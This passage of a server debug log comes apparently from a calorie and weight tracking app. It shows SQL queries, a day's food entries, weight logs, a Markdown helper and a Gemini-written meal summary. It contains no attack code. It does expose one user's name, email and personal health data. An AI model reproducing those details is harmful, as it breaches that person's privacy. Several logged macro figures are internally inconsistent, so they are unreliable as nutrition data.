      'Consider incorporating a protein-rich breakfast to start the day.',
      'Aim for more lean protein sources in main meals.',
      'Increase vegetable intake with meals to boost fiber and satiety.',
      'Ensure adequate hydration throughout the day, beyond milk tea.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'A slight downward trend is likely.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T15:55:37.315Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T15:55:37.316Z server-connect:output restrict: undefined
2025-12-18T15:55:37.316Z server-connect:app Executing action step single
2025-12-18T15:55:37.316Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T15:55:37.320Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T15:55:37.320Z server-connect:app Executing action step select
2025-12-18T15:55:37.320Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T15:55:37.322Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  },
  {
    id: 435,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-17T23:39:25.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  },
  {
    id: 436,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)',
    replacements: 'Steamed baingan (without oil),Baingan bharta (less oil),Other low-calorie vegetable preparations (e.g., palak sabzi, lauki sabzi)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but oil content can increase calories. For muscle development, focus on lean protein sources.'
  },
  {
    id: 437,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5',
    replacements: 'Whole wheat roti (slightly more fiber),Jowar/Bajra roti (higher fiber, different nutrient profile),Brown rice (as an alternative carb source),Quinoa (higher protein carb source)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy. Quantity should be adjusted based on overall calorie and macro goals for muscle development.'
  },
  {
    id: 438,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea,Green tea,Herbal tea,Tea with skim milk',
    created_at: '2025-12-18T05:44:50.000Z',
    skip_level: 1,
    skip_reason: "Good source of protein and calcium from milk, and antioxidants from tea. Without sugar, it's a healthy beverage choice for muscle development."
  },
  {
    id: 439,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 70,
    protein_gm: 7,
    carbs_gm: 10,
    fat_gm: 2,
    quantity: '1 cup (approx 200ml)',
    replacements: 'Black tea (no milk),Green tea,Herbal tea,Skim milk tea',
    created_at: '2025-12-18T09:41:14.000Z',
    skip_level: 1,
    skip_reason: "Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, it's a decent beverage."
  },
  {
    id: 440,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Hari Matar Dal',
    calories: 170,
    protein_gm: 12,
    carbs_gm: 30,
    fat_gm: 2,
    quantity: '1 bowl (approx 150g cooked)',
    replacements: 'Lentil soup (thinner consistency),Moong Dal (slightly lower calorie),Mixed vegetable dal (more fiber, less dal)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of plant-based protein and fiber, good for muscle development.'
  },
  {
    id: 441,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 0,
    quantity: '1 bowl (approx 150g cooked)',
    replacements: 'Brown rice (more fiber, slightly fewer net carbs),Quinoa (higher protein, more fiber),Cauliflower rice (significantly lower calorie and carbs)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 2,
    skip_reason: 'Provides energy for workouts, but white rice is a refined carb. Brown rice or quinoa would be better for sustained energy and more nutrients for muscle development.'
  },
  {
    id: 442,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Onion Kheera Salad',
    calories: 20,
    protein_gm: 1,
    carbs_gm: 5,
    fat_gm: 0,
    quantity: '1 plate (approx 100g)',
    replacements: 'Plain cucumber salad,Salad with more leafy greens',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Very low in calories, high in fiber and vitamins. Excellent for overall health and satiety without adding significant calories.'
  },
  {
    id: 443,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Amla',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 piece (approx 20g)',
    replacements: 'Other low-calorie fruits (e.g., berries)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C and antioxidants, beneficial for recovery and overall health. Very low in calories.'
  },
  {
    id: 444,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Egg Whites',
    calories: 85,
    protein_gm: 18,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '5',
    replacements: 'None (egg whites are already very low calorie and high protein)',
    created_at: '2025-12-18T10:25:36.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of lean protein, ideal for muscle development and low in calories.'
  }
]
2025-12-18T15:55:37.322Z server-connect:app Executing action step setvalue
2025-12-18T15:55:37.322Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T15:55:37.322Z server-connect:output var_total: 1488
2025-12-18T15:55:37.322Z server-connect:app Executing action step setvalue
2025-12-18T15:55:37.322Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T15:55:37.322Z server-connect:output var_consumed: 62
2025-12-18T15:55:37.322Z server-connect:app Executing action step setvalue
2025-12-18T15:55:37.322Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T15:55:37.322Z server-connect:output var_deficit: 912
2025-12-18T15:55:37.322Z server-connect:app Executing action step custom
2025-12-18T15:55:37.323Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T15:55:37.326Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1488',
    surplus_or_deficit: '912',
    status_flag: 2
  }
]
2025-12-18T15:55:38.011Z server-connect:app Executing action step identify
2025-12-18T15:55:38.011Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:38.011Z server-connect:output identity: 1
2025-12-18T15:55:40.683Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-18T15:55:40.683Z server-connect:app Executing action step identify
2025-12-18T15:55:40.683Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:40.683Z server-connect:output identity: 1
2025-12-18T15:55:40.683Z server-connect:app Executing action step restrict
2025-12-18T15:55:40.684Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:55:40.685Z server-connect:output restrict: undefined
2025-12-18T15:55:40.685Z server-connect:app Executing action step select
2025-12-18T15:55:40.685Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-18T15:55:40.686Z server-connect:output items_consumed_today: [
  {
    id: 433,
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)'
  },
  {
    id: 434,
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)'
  },
  {
    id: 435,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 436,
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)'
  },
  {
    id: 437,
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5'
  },
  {
    id: 438,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 439,
    item_name: 'Milk Tea (without sugar)',
    calories: 70,
    protein_gm: 7,
    carbs_gm: 10,
    fat_gm: 2,
    quantity: '1 cup (approx 200ml)'
  },
  {
    id: 440,
    item_name: 'Hari Matar Dal',
    calories: 170,
    protein_gm: 12,
    carbs_gm: 30,
    fat_gm: 2,
    quantity: '1 bowl (approx 150g cooked)'
  },
  {
    id: 441,
    item_name: 'Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 0,
    quantity: '1 bowl (approx 150g cooked)'
  },
  {
    id: 442,
    item_name: 'Onion Kheera Salad',
    calories: 20,
    protein_gm: 1,
    carbs_gm: 5,
    fat_gm: 0,
    quantity: '1 plate (approx 100g)'
  },
  {
    id: 443,
    item_name: 'Amla',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 piece (approx 20g)'
  },
  {
    id: 444,
    item_name: 'Egg Whites',
    calories: 85,
    protein_gm: 18,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '5'
  }
]
2025-12-18T15:55:40.686Z server-connect:app Executing action step paged
2025-12-18T15:55:40.686Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-18T15:55:40.687Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 14,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-18T15:55:40.687Z server-connect:app Executing action step run
2025-12-18T15:55:40.687Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T15:55:40.688Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 436 | Baingan Sabji | 105 | 2 | 13 | 5 | 1 serving (approx. 150g) |\n' +
  '| 437 | Roti | 368 | 4 | 23 | 2 | 3.5 |\n' +
  '| 438 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 439 | Milk Tea (without sugar) | 70 | 7 | 10 | 2 | 1 cup (approx 200ml) |\n' +
  '| 440 | Hari Matar Dal | 170 | 12 | 30 | 2 | 1 bowl (approx 150g cooked) |\n' +
  '| 441 | Rice | 195 | 4 | 43 | 0 | 1 bowl (approx 150g cooked) |\n' +
  '| 442 | Onion Kheera Salad | 20 | 1 | 5 | 0 | 1 plate (approx 100g) |\n' +
  '| 443 | Amla | 10 | 0 | 2 | 0 | 1 piece (approx 20g) |\n' +
  '| 444 | Egg Whites | 85 | 18 | 3 | 1 | 5 |\n' +
  '\n'
2025-12-18T15:55:40.688Z server-connect:app Executing action step run
2025-12-18T15:55:40.688Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T15:55:40.689Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T15:55:40.689Z server-connect:app Executing action step setvalue
2025-12-18T15:55:40.689Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-18T15:55:40.689Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 436 | Baingan Sabji | 105 | 2 | 13 | 5 | 1 serving (approx. 150g) |\n' +
  '| 437 | Roti | 368 | 4 | 23 | 2 | 3.5 |\n' +
  '| 438 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 439 | Milk Tea (without sugar) | 70 | 7 | 10 | 2 | 1 cup (approx 200ml) |\n' +
  '| 440 | Hari Matar Dal | 170 | 12 | 30 | 2 | 1 bowl (approx 150g cooked) |\n' +
  '| 441 | Rice | 195 | 4 | 43 | 0 | 1 bowl (approx 150g cooked) |\n' +
  '| 442 | Onion Kheera Salad | 20 | 1 | 5 | 0 | 1 plate (approx 100g) |\n' +
  '| 443 | Amla | 10 | 0 | 2 | 0 | 1 piece (approx 20g) |\n' +
  '| 444 | Egg Whites | 85 | 18 | 3 | 1 | 5 |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T15:55:40.689Z server-connect:app Executing action step processWithGemini
2025-12-18T15:55:40.689Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-18T15:55:41.993Z server-connect:output health_summary: {
  summary: "The day's nutrition shows a good inclusion of protein sources, particularly from the whey protein and egg whites, supporting muscle development goals. The meal composition includes a variety of vegetables and legumes, contributing to overall nutrient intake. However, the frequency of milk tea, even without sugar, could be reviewed for optimal hydration and nutrient absorption. Continued adherence to this pattern may lead to gradual progress.",
  rating: 7,
  good_points: [
    'Inclusion of whey protein and egg whites for muscle support.',
    'Variety of vegetables and legumes in meals.',
    'Consistent early morning gym sessions.'
  ],
  bad_points: [
    'Multiple instances of milk tea throughout the day.',
    'Potential for higher protein intake at other meals.',
    'Carbohydrate sources could be more varied.'
  ],
  suggestions: [
    'Prioritize water intake over multiple milk teas.',
    'Ensure protein is distributed across all main meals.',
    'Incorporate more whole grains and diverse vegetables.',
    'Consider a post-workout meal with a good balance of protein and carbohydrates.'
  ],
  predicted_weight_trend: 'gradual loss',
  predicted_weight: 70.05
}
2025-12-18T15:55:41.993Z server-connect:app Executing action step condition
2025-12-18T15:55:41.993Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-18T15:55:41.993Z server-connect:app Executing action step delete
2025-12-18T15:55:41.993Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-18T15:55:41.994Z server-connect:output delete: { affected: 1 }
2025-12-18T15:55:41.994Z server-connect:app Executing action step insert
2025-12-18T15:55:41.994Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-18T15:55:41.995Z server-connect:output insert: { affected: 1, identity: 36 }
2025-12-18T15:55:41.995Z server-connect:output condition: undefined
2025-12-18T15:55:42.284Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T15:55:42.285Z server-connect:app Executing action step identify
2025-12-18T15:55:42.285Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:42.285Z server-connect:output identity: 1
2025-12-18T15:55:42.285Z server-connect:app Executing action step restrict
2025-12-18T15:55:42.285Z server-connect:app options: { provider: 'security' }
2025-12-18T15:55:42.285Z server-connect:output restrict: undefined
2025-12-18T15:55:42.285Z server-connect:app Executing action step single
2025-12-18T15:55:42.285Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T15:55:42.286Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "The day's nutrition shows a good inclusion of protein sources, particularly from the whey protein and egg whites, supporting muscle development goals. The meal composition includes a variety of vegetables and legumes, contributing to overall nutrient intake. However, the frequency of milk tea, even without sugar, could be reviewed for optimal hydration and nutrient absorption. Continued adherence to this pattern may lead to gradual progress.",
    bad_points: [
